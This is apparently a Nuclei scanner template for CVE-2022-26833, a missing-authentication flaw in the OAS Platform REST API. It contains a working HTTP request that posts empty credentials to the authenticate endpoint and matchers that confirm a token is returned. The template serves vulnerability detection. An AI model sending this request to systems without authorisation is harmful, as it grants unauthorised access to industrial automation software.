id: CVE-2022-26833 info: name: Open Automation Software OAS Platform V16.00.0121 - Missing Authentication author: true13 severity: critical description: | An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API. An attacker can send a series of HTTP requests to trigger this vulnerability. impact: | An attacker can exploit this vulnerability to gain unauthorized access to the affected system. remediation: | Apply the latest security patch or update to the Open Automation Software OAS Platform V16.00.0121 to fix the missing authentication issue. reference: - https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1513 - https://nvd.nist.gov/vuln/detail/CVE-2022-26833 - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1513 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H cvss-score: 9.4 cve-id: CVE-2022-26833 cwe-id: CWE-306 epss-score: 0.0166 epss-percentile: 0.87336 cpe: cpe:2.3:a:openautomationsoftware:oas_platform:16.00.0112:*:*:*:*:*:*:* metadata: max-request: 1 vendor: openautomationsoftware product: oas_platform tags: cve2022,cve,oas,oss,unauth,openautomationsoftware http: - raw: - | POST /OASREST/v2/authenticate HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: application/json {"username": "", "password": ""} matchers-condition: and matchers: - type: word part: body words: - '"status":' - '"data":' - '"token":' - '"clientid":' condition: and - type: word part: header words: - "application/json" - type: status status: - 200 # digest: 4a0a004730450221008b2b1617febe8dccc10821928bbfc6ef217f8c13d190a4e1331680c32dce97eb02206ef9889f401735822755bfeff09044d1c95a75aaa4f9225590a5d412ec8ef929:922c64590222798bb761d5b6d8e72950